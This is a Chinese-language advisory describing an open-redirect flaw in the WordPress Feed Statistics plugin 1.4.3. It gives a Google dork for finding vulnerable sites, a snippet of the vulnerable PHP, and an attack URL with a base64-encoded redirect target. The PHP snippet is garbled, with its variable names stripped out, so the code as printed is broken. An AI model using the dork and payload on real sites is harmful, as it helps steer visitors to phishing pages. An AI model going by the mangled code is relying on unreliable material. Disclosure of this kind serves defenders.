### 0x01 漏洞简述
URL 重定向也就是 URL跳转，攻击者可以构造URL将用户的访问重定向到指定页面。
Wordpress Feed Statistics Plugin V 1.4.3 feed-statistics.php 文件中存在重定向漏洞，攻击者通过构造url的base64编码，可以将用户的访问重定向到指定页面。
公开时间：2016-01-09
Google Dork : "inurl:wp-content/plugins/wordpress-feed-statistics/feed-statistics.php?url="
### 0x02 漏洞细节
漏洞页面：
wordpress-feed-statistics/feed-statistics.php
漏洞参数：
url
漏洞代码 :
```
<?php
if (isset(["url"])){
= base64_decode(["url"]);
header("Location: ".);
return;
}
?>
```
攻击方式：
site.com/wp-content/plugins/wordpress-feed-statistics/feed-statistics.php?url=aHR0cHM6Ly9nb29nbGUuY29t [base64 encoded]
京公网安备 11010502034610号
暂无评论